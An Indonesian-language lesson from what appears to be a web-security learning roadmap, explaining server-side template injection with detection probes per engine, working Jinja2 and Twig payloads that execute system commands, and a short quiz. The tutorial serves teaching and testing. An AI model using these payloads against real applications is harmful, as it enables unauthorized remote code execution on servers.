Kembali ke Roadmap
// PHASE 4 · Template Injection (SSTI)

Template Injection (SSTI)

Apa Itu SSTI?

Server-Side Template Injection terjadi ketika input user dimasukkan langsung ke dalam template engine dan dieksekusi oleh server. Bisa berujung pada Remote Code Execution.

Deteksi SSTI

# Test payload universal {{7*7}} → 49 = Jinja2/Twig ${7*7} → 49 = Freemarker/Thymeleaf <%= 7*7 %> → 49 = ERB (Ruby) #{7*7} → 49 = Ruby # Differentiate Jinja2 vs Twig {{7*'7'}} → 7777777 = Jinja2 {{7*'7'}} → 49 = Twig

Jinja2 Exploitation (Python/Flask)

# RCE via Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # Atau lebih sederhana {{ ''.__class__.__mro__[1].__subclasses__() }} # Cari subprocess.Popen di list subclasses

Twig Exploitation (PHP)

{{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}

Cara Menemukan SSTI

// CEK PEMAHAMAN
Jika input {{7*7}} menampilkan "49" di halaman, apa yang bisa disimpulkan?
AHalaman rentan terhadap XSS
BAda SQL injection
CServer mengeksekusi ekspresi template — kemungkinan besar SSTI
DTidak ada kerentanan — server hanya menampilkan angka
Deserialization Attacks GraphQL Attacks